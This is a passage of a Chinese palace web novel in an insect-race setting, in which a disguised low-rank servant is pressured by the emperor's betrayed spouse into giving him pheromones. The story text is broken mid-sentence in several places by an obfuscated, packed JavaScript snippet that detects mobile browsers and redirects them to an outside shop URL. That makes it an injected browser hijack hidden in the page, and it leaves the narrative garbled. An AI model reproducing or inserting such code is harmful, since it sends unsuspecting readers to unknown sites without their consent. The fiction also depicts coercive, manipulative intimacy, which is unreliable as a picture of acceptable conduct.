他之所以没有爆发,是为了自己的家族,他怕自己做点什么,会让现在表里不一的虫皇对他的家族下手,他的雄虫哥哥还在外统兵打仗,他不能冲动。 对昔日恋人感到失望的帝后,没想到这个补偿会到来的这么快,要知道在整个皇宫里能找个尾勾发育完全的雄虫并不容易,就连皇家护卫队的统帅都是高级雌虫。 泽费里诺把玩了一会儿芬恩的尾勾,终于还是放过他:“你年纪还小,所以没发育完全,有二次发育是正常的,只不过这皇宫上下,除了虫皇是雄虫之外再没有雄虫,你的处境很危险。” 芬恩立马跪在帝后的床褥上,求帝后放他出宫去:“小的无意冒犯,请帝后成全,放小的出宫。” 他现在被识破了,要是还留在这里,那就是在等死,看帝后的态度,并不准备处决他,所以芬恩觉得自己有活着的希望。 可帝后并未回答他的问题,而是将散落一背的长发撩到胸前,示意芬恩过去:“好孩子,你怕什么?只要我不说出去,谁知道你是雄虫?既然是雄虫,在我宫中当差,就该有点自己的作用,来吧。” 芬恩不明所以,慢慢地爬到帝后面前,不敢抬头:“帝后,我需要帮您做什么?” 泽费里诺让他抬起头来,芬恩只得照做,帝后漂亮的指尖从他唇上划过去,他全身颤栗起来,但他知道这不是精神力所致,是他对一只雌虫的触碰有的身体反应。 尾勾还是很冲动,他努力控制着自己的心情,不让血液循环加剧。 芬恩,你是个直男,你看清楚眼前的这个男人形态的雌虫,是虫皇的帝后,他有老公,他不但有老公,还是这个帝国最至高无上的帝皇! 芬恩出了一口长气,抬眼对上帝后那双他怎么看都舒服的黑色瞳孔,一时间再没敢说话。 帝后的气息慢慢靠近他,背后一双夸张的黑色翅膀还是没有收敛,他温热的唇差点就擦到了芬恩的唇上。 芬恩屏住了呼吸。 泽费里诺的手指摩擦他的下唇:“洛菲斯,好孩子,我知道你很害怕,你放心,我不会伤害你,雄虫发育完全就意味着成熟,你的信息素可以安抚雌虫的躁动。你也看见了,我的丈夫,帝国的虫皇,他连一点信息素都舍不得给我,或许已经给了别的雌虫,我像个傻子一样为了他藏在这后宫,为了他放弃我的前途,做了这有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521296|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无实的帝后,真是败得一塌糊涂。” 芬恩也听说了虫皇有新欢的事情,但没有证实,当然他也不敢妄议:“或许事情不是您想的那样。” 泽费里诺摇头,柔软如缎的身子靠近他,竟是缓缓抱住了他,那腺体就暴露在芬恩的眼前,源源不断的信息素熏得低级雄虫一阵阵发懵。 他被帝后这谁也无法靠近的万金之躯抱住了…… 芬恩咽了咽口水,没敢有动作,等着帝后的下一句。 泽费里诺的手在他脖颈上游移:“他对我自始至终没有爱,利用我完成了夺嫡,他就不需要我了,我的腺体要是再打抑制剂,会废掉的,昨晚我忍了一晚上,差点死掉,或许你是上天恩赐给我的,让我在最艰难的时候发现了你。” 芬恩心惊肉跳,想推开他:“帝后,您冷静点,我要是跟您有了什么,我全族都不够诛的,您别这样……” 泽费里诺也知道这意味着什么,哪怕塞塔斯对他虚情假意,他和塞塔斯的婚姻始终存在,这对一只低级雄虫过于考验,于是他也没打算进行那种标记,只让这雄虫标记腺体。 他把自己修长白皙的脖颈递过去,腺体周围都是红的:“好孩子,你听我说,我不会和你发生孕腔交互标记,我只是让你给我一点信息素,缓解一下我的痛苦,我再不摄入雄虫信息素,我的精神力会出问题。” 说来,这帝后虽然脾气差,但对芬恩还算好,营养剂也是说给就给,芬恩想了想,不就一点信息素,给了也就给了。 他没有这个时代的信息素专一理念,只以为救了帝后就行,殊不知雌虫强大的精神力,将他的信息素独占,此生再给不了其他雌虫。 泽费里诺也没打算放他走,利用完了,直接处死就行,不会有人知道他和一个低等雄虫发生了信息素交互。 当然,芬恩也很清楚,就算之后他时常需要供给信息素给帝后,那对于帝后而言,他始终是个比抑制剂好用的信息素供给者,一个聪明强大的雌虫,是绝不会让自己身处险境。 想到这里,芬恩深呼吸,将紧张的情绪压下去,缓缓歪头,试探地张嘴,咬在了帝后的腺体上。 5. 第 5 章 强大高等雌虫的精神力将他包裹,像陷入了一个巨大的磁场旋涡,那抱着他的拟人黑发雌虫,身上的热量似乎在往周围扩散,墨色绸缎一样的长发随着精神力的迸发而飞扬,芬恩看到窗幔都被掀了起来。 模拟灯光的机器人两个眼睛在床头发光,显得近乎诡异。 芬恩只觉得自己的信息素是被对方强行摄入的,他的牙齿一碰到帝后的腺体,信息素自觉顺着牙齿往外溢,他想逃离都不行。 他才知道一个强大雌虫意味着什么,普通人压根没法反抗这种强大,他也终于明白虫皇为什么忌惮泽费里诺。 他原身这个雄虫该是刚成年,对性别方面还没有太多了解,小处雄虫一个,信息素也没给过任何雌虫,不过有一点理论知识他能想起来。 原主出身于商业世家,父母虽然对其不太看重,但始终作为家里的孩子,还是希望能好一点是一点。 那性别教育肯定有人教导,尤其是信息素方面,这是作为虫族一员至关重要的环节。 每一只虫的信息素都具有专一性,除了临时标记的会随着易感期的消散而消散,孕腔的信息素交互是一辈子的。 一旦有了固定的婚配对象,对雌虫进行过信息素浇灌,那这只雌虫无论等级多高,此生也只认这一种信息素。 雄虫也一样,一旦和某个雌虫发生孕腔的信息素交互,那这辈子再也给不了其它雌虫,即使给了也等同于无效,甚至会被对方入侵的精神力反噬,生不如死。 雄虫除非把入侵的精神力清除,雌虫除非强制洗去孕腔标记,不管哪一种,都很痛苦。 进行过孕腔交互的雌虫,将无法被其他雄虫临时标记,更渴求孕腔灌溉的信息素。 芬恩隐隐想起了点这个世界的常识,但这并不让他感到开心,他有点为这个帝后感到悲哀。 他的信息素对泽费里诺有用,也就是说这位被整个帝国奉为铁血瑰宝的雌虫,在和虫皇结婚后,并未和对方有过亲密的接触。 他是怎么做到这么多年对这个人守身如玉的? 真就那么喜欢吗? 芬恩不懂,毕竟他目前还是个直男,哪怕身体被一个外形同为男人的黑发雌虫抱着,他也不觉得自己会喜欢拟男人外形的雌虫。 他这个人比较善良,不忍心帝后被易感期折磨得不像样,才勉强…… 好吧,实际上是他没招了,只得任由强大的雌虫摄取他的信息素,没关系,就一点信息素而已。 但他又想错了,其实泽费里诺跟他进行的是一场信息素绑定的临时标记,这就意味着,芬恩标记了帝后以后,再也无法标记任何雌虫。 不知不觉,他被高等雌虫信息素独占了。 精神力A级以上的虫都是高级虫,最厉害的为SSS级,但很少,碰巧泽费里诺就是最高级的一种。 连虫皇都害怕的雌虫,足以见得多让虫闻风丧胆。 芬恩算是见识到了,他根本招架不住,作为低等雄虫,他的精神力可以忽略不计。 哪怕帝后的临时标记散了,芬恩的信息素掺入高级雌虫精神力,对其他雌虫也只有折磨,精神力和信息素的双重锁定,已经昭示了这个低等雄虫的命运。 长达十多分钟的信息素摄入,以泽费里诺的满足而结束,腺体的红肿消退下去,慢慢地闭合,接下来起码三天,泽费里诺不用再被易感期折磨,确实比抑制剂好用多了。 让黑发雌虫欣喜的是,这侍从虽然是低等雄虫,信息素却如此受用,他还以为要把侍从的信息素吸干才能平复他的痛苦。 没想到这家伙的信息素和他的如此契合,黑发雌虫餍足地舔了舔唇角。 他很满意,白皙的皮肤显了一些粉,眼神从冰冷也变得柔和,放开了芬恩,近距离打量这只雄虫的面貌。 芬恩感觉身体被掏空了一样,原以为只是给了点信息素,谁知道全身这么疲惫无力,原来进行标记是这么累人的活吗? 他眼神无力地看向漂亮的黑发雌虫,黑发雌虫厚实的胸膛在微微起伏,芬恩看到了白色睡衣下,发达又明显的胸肌。 啧,这胸肌真不错,很大。 他气息微乱:“可以了吗,帝后?” 泽费里诺的指尖从他脸蛋上划过去,唇角扬着满意的笑:“真是个不错的孩子,我还以为你受不住我的精神力。” 芬恩压根不知道他在说什么,他现在只想睡觉,眼皮都开始打架:“如果您没事了,就允许小的去休息,好困……” 泽费里诺放过了他,黑色的双翼收了起来,实际上他的虫形,翅膀其实更为壮观,帝后全身舒畅,也该休息了,推了芬恩一把:“明天早上可别偷懒,被其他亚雌发现,我可救不了你。” 芬恩感恩戴德,连滚带爬下床去穿好鞋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521297|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给机器人发布了关灯指令,快速地退下回他的房间。 他几乎到房间一趟就睡着了,什么都没干,却好像跑了三千里的马拉松。 完了,他把帝国的帝后给标记了,九族似乎在跟他招手。 他心想,如果帝后频繁摄取他的信息素,他会不会死在这里啊?有点恐怖,这种疲惫。 好恐慌,好焦虑……他该怎么办?心里想着不能睡懒觉,可是没按时醒来,他甚至都没做梦,帝后竟然没发脾气叫他? 还是他听见米安的声音才缓缓转醒,只听见年长的亚雌侍从在问他的去向,芬恩从梦中惊醒,赶紧起来收拾一下自己,把该藏的都藏起来,去侍奉帝后。 “洛菲斯怎么回事,今天怎么没在帝后面前当值?” 帝后的声音清清冷冷,清冷如碎玉落地。 “孩子昨天被我吓到了,跪了半夜,我准许他今早不用按时侍奉。” 米安简直以为自己的耳朵出问题了,脾气那么差的帝后,今天怎么这么好说话? 不是说被易感期折磨的痛苦不堪,见谁骂谁,怎么还把一个经验不足的亚雌侍从这么宠? 洛菲斯不会要顶替他的位置了吧? 米安想到这里心里警铃大作。 “帝后,您不可以如此宠着这群奴才,不然恃宠而骄,就不把您放在眼里了。” 泽费里诺已经准备用早膳,他朝着芬恩的房间方向看了一眼,挑起唇角。 碰巧芬恩起床收拾完,打开了房门,从里面出来了。 泽费里诺黑色长发束成高马尾,今天穿上了一身精神的黑色西服套装,马甲熨帖地裹着他精壮颀长的身材。 黑色皮鞋锃光瓦亮,宽肩窄腰更为明显,一双长腿也不知道是谁的一辈子。 芬恩不免联想起自己看过的科幻影片,也不敢想泽费里诺的虫形态得有多酷炫。 反正此刻配上那样一张绝美的脸,芬恩一个直男看了一眼都得为之屏息。 好帅……挪不开眼。 他戴着一副金丝眼镜,一双运筹帷幄的美眸堪堪落在芬恩的脸上,又迅速移开,只是朝那个方向勾勾手指。 “洛菲斯,伺候我用膳,别让我久等哦。” 一瞬间,芬恩的心脏像被什么击中,怦怦跳了几下,心如撞鹿。 坏了,他被一个拟男人形态的雌虫勾引了…… 6. 第 6 章 其实这场看似被勾引的心动是一场阴谋,雌雄虫一旦发生信息素交互,强大精神力的掺入会让精神力弱的一方产生类似心动的错觉,这种行为是为了双方达到信息素交流契合才有的结果。 毕竟感情稳定了才有利于信息素交互,从而孕育出新的生命,单纯的芬恩陷入了高级雌虫织就的甜蜜大网中,哪怕他的身心怎么直男,始终敌不过高等雌虫对精神力的控制。 能和泽费里诺的精神力对抗的雄虫恐怕只有虫皇塞塔斯,可塞塔斯一直在利用泽费里诺,谁也不知道这对昔日的青梅竹马以后会发展成什么样。 至少目前泽费里诺没打算和虫皇闹翻,他睿智且聪慧,像在精心筹划着什么,这样的缜密,作为单纯雄虫的芬恩绝不会理解。 跟着帝后去用膳,今天的天气不错,拟恒星发热器的温度适中,不冷也不热,偶尔还会产生清风。 在这个早已脱离了太阳系的星际世界,什么都是高科技,科技发达到芬恩一个地球人无法想象的地步。 在虫族宫殿出行的除了当值的虫族侍从,还有长得一样像复制出来的拟虫机器,配备的武器削铁如泥,职责是巡逻守卫,那激光扫射眼,所过之处,一只渺小的蚊子都得被射下来。 泽费里诺用完早餐营养剂,终于想起要去看看自己的丈夫,那位帝国的虫皇,他估摸着虫皇议事完毕。 芬恩跟在他身后,心里害怕极了,他怕自己雄虫的身份被揭穿。 泽费里诺好像知道他的心思,轻轻地跟他嘱咐了一句:“别怕,我的精神力覆盖了你的身体,没有虫会发现你的真实身份,大胆跟我走。” 听到这里,芬恩悬着的心回到了肚子里,心想这位强大的雌君,并不像他听闻的那样可怕,至少对他还不错。 单纯的雄虫,一颗心在胸膛里不安地跳动,连他自己都不知道这是否就是所谓的心动。 他从未谈过恋爱,没有和异性接触的经验,和同性也都是哥们相处,从没想过有一天,他的心会为一个外形拟男人的雌虫而跳动。 他不断告诫自己:冷静点,作为帝后,虫皇一虫之下的雌君,只是取了你一点信息素,你就这副德行,尊贵的身份摆在那里,不是谁都能起歹心,你的无知只会让自己死无葬身之地。 芬恩平复了一下心情,甚至都没看到机器守卫从身边整整齐齐走过去,他低着头,心事重重,结果走着走着撞在了泽费里诺的背上。 雌虫颀长的身子突然在会议室附近站定,芬恩刚想问怎么了,就听到了纠缠的喘息和亲密无间的接吻声。 他往后退了几步,想跟帝后道歉,但被伸手制止住,帝后让他别出声。 只见从他俩这个方向望去,散会的宫殿会议室里,两具拟人的身体抱在一起,其中有一具身体正属于帝国那位尊贵的虫皇陛下。 芬恩都觉得心口猛猛地一抽,前天拒绝给帝后提供信息素,今天就抱着金发美人在会议室里吻得难舍难分,原来传闻是真的。 泽费里诺站在那里,也不知道在想什么,半天没有动静,周围的机器巡逻对他俩也没有反应,帝后能在宫中任意行走,所以未曾报告,他自从当了帝后,从未来过会议室,他答应塞塔斯不再参与虫族的政治活动。 他一心只想做个合格的雌君,守在丈夫的后宫,然后再和丈夫有一个孩子,他此后的重心将不再是政治与战场。 他用自己的前途换来虫皇的地位,只是想得到一颗真心,事实证明,真心并没有什么用。 坐在会议室高位上的两具身体终于短暂分开,那金发贵族是现任的虫族联邦局的五星上将,军雌艾维尔,也是泽费里诺和塞塔斯的军校同学,机甲专业的天才。 可在学校的时候,这个雌虫,始终被泽费里诺压一头,和他竞争过塞塔斯,但最后塞塔斯没有选他,选了泽费里诺。 芬恩也不知道什么心情,帝后没有歇斯底里,只是静静地站在那里,或许受到的打击太大,不知所谓,芬恩想安慰他,又打住了。 里面的金发贵族在说话:“泽费里诺嫁给您两年,还以为他拥有了一切,殊不知您是我的,陛下,您什么时候跟他离婚,我已经等不及当您的雌君。” 虫皇塞塔斯把玩着他漂亮的长发:“再等等,等把加西亚家族的兵权削弱,我再动他不迟。” 芬恩听到这里心都凉了半截,加西亚是泽费里诺的姓氏。 他的全名是“泽费里诺·加西亚”。 可帝后却毫无情绪地转身,悄悄地离去,芬恩赶紧从后面跟上。 想说点什么安慰他,可帝后的沉默让芬恩心里发慌,便一直没开口。 他们往帝后的寝宫走,走了一会儿之后,泽费里诺淡淡地开了口:“我们一同读的虫族军校,我和虫皇是战斗指挥专业,爱维尔是机甲专业,那时候我和他一起追虫皇,我一直以为我胜出是因为虫皇喜欢我。” 芬恩嘴笨,想了半天,才回了一句:“那您离婚吧,虫皇婚内出轨,哪怕帝国在他的掌控之中,他也不是个合格的伴侣。” 泽费里诺轻轻摇头:“军婚受到虫族联邦军事法律的保护,更别说和虫皇陛下的了,这婚没那么好离,一旦我做点什么,我的家族和哥哥都有危险。” 芬恩问:“难道您就这样忍气吞声下去?” 雌君的脚步停下,板正挺直的背影像一座丰碑,他冷笑一声:“我怎么把他扶上去的,我照样能把他拉下来。” 芬恩只是个误入这个世界的渺小雄虫,只想自由自在地活着,不想参与这些纷争,便再没说什么。 泽费里诺一整天都紧闭着寝宫的大门,芬恩也被打发了出去,亚雌总管米安急得团团转,问芬恩到底怎么回事。 芬恩不敢说,说了就要掉虫的脑袋,更不敢说帝后在谋划一件大事,只说不知道。 让他疑惑的是,这么炸裂的事情,帝后竟然让他知道了,芬恩心想,帝后是否把他当成了心腹?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521298|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 信息素都被帝后抽取了,应该就是心腹了吧。 他这样安慰自己,毕竟知道的太多不是什么好事。 帝后直到天黑都没出门,所有的侍从都站在殿门外,不敢擅离职守。 直到快入睡的时间点,帝后的声音突然从里面传来:“别在外面守着了,洛菲斯进来侍奉,其他侍从回去休息。” 大家看了芬恩一眼,芬恩朝他们鞠躬,推开殿门走了进去,然后又将殿门关好。 亚雌们骂骂咧咧:“帝后现在怎么那么依赖他?再这样下去,我们要失业的……” 芬恩进去后,穿过寝殿内大堂,直接往帝后的寝室走,看到泽费里诺坐在床上,背对着他,黑色长发散了一背。 芬恩走到床前:“您要用晚膳吗?我去把营养剂给您拿来?” 泽费里诺摇头:“不饿,你上来。” 芬恩身子一僵:“您需要信息素了吗?” 泽费里诺心情不好,语气也不耐烦:“我的命令你只有服从!” 芬恩沉默片刻,脱了鞋子,掀开帷幔爬上了帝后的床。 绝美雌虫这才回眸,朝他望过来,芬恩看到了他发红的眼尾,显然哭过了一样。 他的心像被什么扎了一下,有种难言的痛感,芬恩不理解自己为何会有这样的感受。 跪在帝后身边,安慰的话还没出口,泽费里诺朝他张开怀抱,平时冷淡低沉的嗓音,此刻俨然像要碎了一样:“洛菲斯,过来抱抱我。” 芬恩的心差点不跳了,他咽了咽口水,深呼吸缓解一下紧张的心情,在黑发雌虫凝望的视线里,慢慢地跪过去抱住男人外形的雌君。 他的心开始没节奏地乱跳,鼻息间都是黑发雌虫身上的信息素香,即使戴着黑色抑制环也无法阻隔。 芬恩不由自主,双臂攀上雌君宽阔的背,埋首在雌虫的黑发间:“您适合更好的,不要难过,雄虫那么多,总有适合您的另一半。” 泽费里诺从没被某个雄虫抱这么紧过,他丧了一天和过去决裂,失恋的痛苦确实让他生不如死,可此刻,身边的雄虫又让他有了点能量。 他突然报复地想,塞塔斯能背叛他,让他如此痛苦,他为何不能背叛塞塔斯! 他守在这后宫有什么用?全是欺骗和利用,他守着这身子有什么用! 他要报复,他要让塞塔斯知道,谁才是最后的赢家,他不仅要夺走不属于塞塔斯的皇位,他还要让这帝国至高无上的雌君肚子里,怀上其他雄虫的种。 恶向胆边生,泽费里诺有点失去理智,他两只手摁在芬恩的翅膀上,让芬恩感觉到疼痛。 芬恩的机智回归:“帝后,您……您压到我的翅膀了。” 泽费里诺的薄唇轻轻地挨上芬恩白皙的脖颈,放开他薄弱蝉翼的翅膀,语气低沉诱惑。 “好孩子,你才分化出尾勾,在宫外肯定也没有婚配的对象,我教你怎么利用尾勾标记雌虫的孕腔好不好?” 7. 第 7 章 几句话给孩子吓得不轻,芬恩本来还挺同情这位被出轨的黑发雌虫,也不知道从哪里来的怜爱之情在胸腔内蔓延,自从被摄取了信息素之后,他总是时不时会被泽费里诺撩得心猿意马。 这对于一个只想活着走出温特瑞亚皇宫的低等雄虫而言,不是一件值得高兴的事情,他不想自己在这个地方有牵挂。 高级虫之间的恩怨和战火,不该烧到他一个只想讨安稳的雄虫身上,故而他冷静地拒绝了黑发雌虫的示好和勾引。 芬恩不是傻子,他比谁都明白眼前的雌虫身份尊贵异常,不是谁都能染指的,他更明白这个强者为尊的星际时代,他穿成一个无辜的平民虫,真要是有了那种歹心,不知道会怎么死。 虫皇塞塔斯阴狠毒辣,所有虫都得成为皇位的垫脚石,更别说毫无关系的虫。 芬恩只想活下去,逃出这个吃人的皇宫,但目前他无法逃离,原主进来之前,就和皇宫管理处签了五年的侍奉合同,不满五年他就算死也得死在这可怕的虫族皇宫。 他推开了黑发雌虫,喉结滚动好几下才能压住自己作为雄虫面对雌虫的本能冲动:“您冷静点,我知道您受了委屈,想报复虫皇,可他做错事,您也要做错事吗?万一事情败露,您在虫族万民心中的地位就岌岌可危。” 黑发雌虫的一双眼精明地扫过芬恩那双湖泊蓝的眼眸,意味深长地打量:“没看出来,你这雄虫的定力还挺好,要不是测不到你的精神力,我都以为你是高级虫伪装的,洛菲斯,你过于理智了,任何一个低等雄虫,能标记我的孕腔,那是能炫耀一辈子的事。” 芬恩自然明白这是一种殊荣,但他来的地方,教会了他三观这种东西,哪怕自己的地位处在低下,他也有自己的原则。 湖泊蓝的眼瞳微微抬起,和长发一样的银白睫毛卷翘浓密,颤抖时像蒙了一层春天的水雾,他望进雌虫寒潭一样打量他的眼底,温润的嗓音真诚实意:“小的自知和您之间有无法跨越的鸿沟,长辈们也从小就教导我,做虫要从一而终,不可觊觎别人的妻子,我和您无名无分,我只是您的侍从,若是做了那种事,就是以下犯上,就算虫皇不杀我,我家里的长辈们也不会放过我。” 黑发雌虫艳丽的红唇挑起,笑得芬恩眼前桃花纷乱:“你不说,我不说,谁会知道你和我有一腿?虫皇背叛我在前,我和他迟早离婚的,只不过现在不是时候,我想在离婚的时候送他一份大礼,你连我这点愿望都不满足吗,洛菲斯。” 芬恩往后退了退,和他保持距离:“那很大逆不道,标记您的孕腔就相当于发生关系,我将再也无法回头,我只是个等级很低的雄虫,还请帝后莫要为难于我。” 泽费里诺也没想到,先有虫皇背叛在前,后有雄虫拒绝再三,他实在想不明白,这虫族帝国的雄虫一个个都眼瞎了吗? 芬恩不拒绝还好,这一拒绝,惹得黑发雌虫胸口怒气横冲,他先是看了芬恩几秒,随后强大的精神力开始在周围蔓延,连声控的机器人照明灯都被粉碎了,噼里啪啦掉在地上。 四周突然暗下来,床幔被破开了一道又一道口子,飞刀一般。 黑发雌虫的长发在黑暗中飘飞,芬恩吓得缩在了床脚,借着其它方位的装饰水晶灯,他看到了泽费里诺宽大的黑色翅膀,上面的骨头纹路清晰可见,似乎下一秒就要暴走。 然而芬恩想的也没错,泽费里诺因为虫皇的背叛深受打击,现在又被芬恩拒绝,一时间心绪震怒,精神力暴走,再不安抚恐怕整个温特瑞亚皇宫都得成为废墟。 地面开始震动,芬恩大惊失色,也顾不得害怕了,不知道哪里来的胆子,他忽而又朝黑发雌虫抱过去,用双臂紧紧箍住他的身体,快被吓哭:“您冷静点,帝后,别冲动……” 泽费里诺感觉脑子一团混乱,心里的愤懑无法发泄,精神识海一片风暴,他有种想毁了一切的冲动。 可是一个温润的嗓音把他唤回去了,理智微微回归,识海的风暴慢慢平息。 宫殿的大门被敲响,亚雌侍从米安担心地询问:“洛菲斯,怎么回事?帝后怎么了?” 黑发雌虫的状态逐渐稳定下来,洛菲斯将他紧紧地抱紧怀里,深呼吸平复心中的恐惧之后才回答米安:“没事了,是我不小心打碎了东西。” 米安没听到泽费里诺的声音,这才责备道:“让你伺候帝后,不是让你制造问题来的,你要是还这样笨手笨脚,从明天起你就不用伺候在帝后身边,我重新派人。” 芬恩轻轻地拍着黑发雌虫的背,小心翼翼地回答侍从总管的话:“小的知罪,小的一定小心。” 米安这才带着几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521299|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人走了,听不到声音之后,芬恩才蹭了蹭泽费里诺有些发热的脸颊,心中不知道什么滋味:“我拒绝您并不是因为您不好,是因为我不能,您因为这种事生气,让我不知所措。” 黑发雌虫双臂攀上芬恩的脖颈,气息有点发烫:“洛菲斯,解开我的抑制环。” 芬恩沉默片刻,放在他背上的修长手指缓慢伸向了帝后漂亮的脖颈,但触到那特殊材质的黑色环状物之后,像被烫到一样又收回手。 原主作为一个虫族受到的教育里,雌虫的抑制环除了自己,只能自己的伴侣才能取下来,其他虫要是有这种举动,那就是x骚扰。 芬恩深呼吸:“这是您的私人物品,我不能碰……” 泽费里诺一只手用力地按着他的后颈,笑声有些病态:“你那口器都没蜕化的嘴,已经碰过了我的腺体,还怕帮我取抑制环?洛菲斯,做虫不要这么虚伪,你们雄虫都这样虚伪吗?” 芬恩总能被他轻易击中心脏,不管甜蜜或者疼痛,他摇头:“当然不是,不管什么种类,高级还是低级,都有好有坏,我帮您标记腺体,是为了缓解您的痛苦,可如今您不需要信息素,便……” 黑发雌虫的薄唇从他耳根擦过,带着莫名的潮热:“谁说我不需要,你再不给我信息素,我的精神力又要暴走,好孩子,乖,帮我解开抑制环,我保证绝不欺负你的尾勾。” 芬恩的心要从胸膛里跳出来,不一会儿就隔着抑制环也闻到了浓郁的信息素气味。 高级雌虫的精神力暴走引发易感期的紊乱,信息素乱溢。 泽费里诺摸到他的手,慢慢地引导到了抑制环上,声音明明是让虫害怕的,却带着让雄虫芬恩莫名其妙的兴奋:“解开它,舔舐我的腺体,给予我你的雄虫信息素。” 芬恩脑瓜子嗡地一声,短暂空白,感觉短路了,手指无意识地解开了那保护雌虫腺体的抑制环,仿佛将泽费里诺扒了个精光。 其实,作为虫族,这种举动,和地球人类发生关系时脱下裤子没有任何区别。 只是单纯的芬恩并不明白,他掉落一张甜蜜织就的大网中,且早已被阴婺雌虫当成了猎物。 虫皇塞塔斯心狠毒辣,谁都能利用,可是能让塞塔斯都害怕,并且藏在后宫一心想除掉的泽费里诺,又能是什么好虫? 8. 第 8 章 严格来说,这位雌君就是被当成战争机器培养的,在泽费里诺这一代的雌虫里,觉醒SSS级精神力的并没有多少,军雌艾维尔算其中一个,只不过他们觉醒的类型不同。 泽费里诺从十岁起就成了帝国重点培养的对象,十五岁带队出征,杀死祸害虫族边境星的3S级别星兽,被军校破格录取。 十八岁毕业后征战星海剿灭危害虫族的各族星盗,二十岁塞塔斯在外宇宙被兽族战舰攻击,落荒在不知名的星球上,泽费里诺星际战舰差点开出虫族疆域,打到兽族地盘上。 就是这样一个年少成名的铁血雌虫,现在生命却受到了威胁,被禁锢在后宫之中,那他为了活下去就会不惜一切代价。 虫皇想尽一切办法要除了他,那泽费里诺也将会想尽一切办法活着走出温特瑞亚的后宫,将塞塔斯的阴谋粉碎在摇篮里。 而现在能让他在塞塔斯监控范围内活下去的,竟是一个低级雄虫,泽费里诺觉得自己可笑,却又觉得神无绝人之路。 他必定利用这唯一的救命稻草,活到塞塔斯跪在他脚下的那一天。 当年他为了塞塔斯,不听指挥把战舰开出虫族疆域,真心觉得这辈子除了这位优秀强大的雄虫冕下,他不会再爱任何虫。 若不是虫皇召回,估计为了他的爱情,和兽族之间的战争都要被挑起,二十一岁坐镇虫族联邦局,兼顾统领军部,成为最年轻的五星上将。 后为了帮爱虫夺嫡,说通自己的家族,帮青梅竹马的塞塔斯谋划登上皇位。 他的一生还没走过多长,却已战功赫赫,大家都说,在虫母没有生出新的战争机器前,他将成为唯一的战争机器,虫族千千万万虫民,把他奉为瑰宝,期望他前途无量。 可谁知,这位铁血雌虫,在二十三岁,和刚上位的虫皇成婚,放弃了一切,只想当个合格的雌君。 如今也不过才二十五岁的年纪,维持了两年的虚无婚姻破开了一道口子,才让他看清自己这些年到底在为什么样的虫卖命。 塞塔斯上位杀死了自己的亲大哥雄虫,父母气绝身亡,剩余的兄弟见大势已去,都放弃了争夺,只求出宫活命,塞塔斯直接将亲胞兄弟全部流放,以免夜长梦多。 泽费里诺当时只觉得塞塔斯有魄力,现如今这场名为无情猜忌的火,终于烧到了他自己身上,他亲手扶上去的虫皇,已然在那时就把他当成了眼中钉,只不过碍于家族势力,才没敢动手,要求他放弃政途,做虫族的雌君。 现在艾维尔成了新宠,那艾维尔的家族必定崛起,想来虫皇肯定已经在削加西亚家族的权势,提携艾维尔这些内阁大臣和议员,从而达到制衡的效果。 可泽费里诺也不是傻子,他肯定不会给艾维尔家族这样的机会,一年前他就觉得虫皇不对劲,让家族小心应对,提防虫皇的举动。 现下内阁和联邦到处也都是泽费里诺的眼线,而虫皇正在着手处理这些虫,无论雌雄,发现就处死。 当铲除一切加西亚家族的势力,泽费里诺的雌虫腺体再出了问题,精神识海无法掌控,任由精神力暴走而无雄虫信息素安抚的那时,那这位年轻且强大的雌君,也该完成他这一生的使命。 塞塔斯从未喜欢过泽费里诺,也只是为了自己的利益,才装作喜欢的样子,他深知泽费里诺家族底蕴强大。 事实上对于不喜欢的雌虫,他碰一下都觉得恶心,所以婚前不肯碰,婚后也很少去找泽费里诺。 他的信息素也早在军校时就给了艾维尔,两虫发生了孕腔的信息素交互,却不能让泽费里诺发现,这是他笼络艾维尔家族的手段。 两方利用。 他在等泽费里诺腺体被废的消息,让安插在帝后寝宫的亚雌侍从实时报备。 这天半夜,有帝后寝宫来的亚雌,站在门外报告情况:“陛下,帝后大半夜精神力暴走,不过不知道为什么,突然又停止了,您是否要去看看?” 